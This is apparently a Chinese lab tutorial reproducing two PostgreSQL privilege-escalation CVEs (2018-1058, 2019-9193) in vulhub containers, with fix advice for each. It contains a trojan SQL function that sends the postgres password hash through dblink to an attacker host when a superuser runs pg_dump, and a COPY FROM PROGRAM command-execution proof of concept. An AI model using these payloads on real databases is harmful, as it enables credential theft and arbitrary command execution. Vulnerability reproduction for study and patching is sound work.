一、PostgreSQL 提权漏洞(CVE-2018-1058)

1.1 原理

PostgreSQL 是一款关系型数据库。其9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。

版本:9.3-10

1.2 环境搭建

靶机: ubuntu
IP: 192.168.174.143

攻击机: kali
IP: 192.168.174.129

直接使用 vluhub 环境了

cd postgres/CVE-2018-1058
docker-compose up -d

PostgreSQL 数据库提权的几种方法——提权教程_数据库

1.3 漏洞复现

1、先通过普通用户vulhub:vulhub的身份登录 postgres
命令:

psql --host your-ip --username vulhub

PostgreSQL 数据库提权的几种方法——提权教程_java_02


2、执行如下语句后退出

CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=192.168.174.129 port=6666 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;

PostgreSQL 数据库提权的几种方法——提权教程_数据库_03

3、然后我在192.168.174.129监听 6666 端口,等待超级用户触发我们留下的这个“后门”。

PostgreSQL 数据库提权的几种方法——提权教程_安全_04


4、(假装自己是超级用户)在靶场机器下,用超级用户的身份执行pg_dump命令,导出vulhub这个数据库的内容。

docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub

PostgreSQL 数据库提权的几种方法——提权教程_postgresql_05


执行上述命令的同时,“后门”已被触发,192.168.174.129机器上已收到敏感信息。

PostgreSQL 数据库提权的几种方法——提权教程_安全_06


收到了postgres用户经md5加密后的密码

1.4 修复建议

1、不允许用户在public模式下创建新的对象。
可以用超级用户,在所有的数据库中运行下面这条命令:

REVOKE CREATE ON SCHEMA public FROM PUBLIC;

这会阻止所有的非超级用户在public模式下创建对象。

2、为数据库用户设置默认的search_path。
一个超级用户可以向系统中的每个用户发出这条命令,来将public模式从用户默认的search_path中移除:

ALTER ROLE username SET search_path = "$user";

3、在PostgreSQL的配置文件中设置默认的search_path。
也可以在postgresql.conf这个配置文件中将public模式从用户默认的search_path中移除。

二、PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)

2.1 原理

PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。

版本: 9.3-11

2.2 环境搭建

靶机: ubuntu
IP: 192.168.174.143

攻击机: win10
IP: 192.168.174.1

直接使用 vluhub 环境了

cd postgres/CVE-2019-9193
docker-compose up -d

PostgreSQL 数据库提权的几种方法——提权教程_postgresql_07

2.3 漏洞复现

1、环境启动后,将开启Postgres默认的5432端口,默认账号密码为postgres/postgres,成功链接Postgres数据库

PostgreSQL 数据库提权的几种方法——提权教程_java_08


2、执行POC

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
#FROM PROGRAM语句将执行命令id并将结果保存在cmd_exec表中

PostgreSQL 数据库提权的几种方法——提权教程_java_09

2.4 修复建议

1、建议升级至最新版本

2、控制数据库权限禁止普通用户执行命令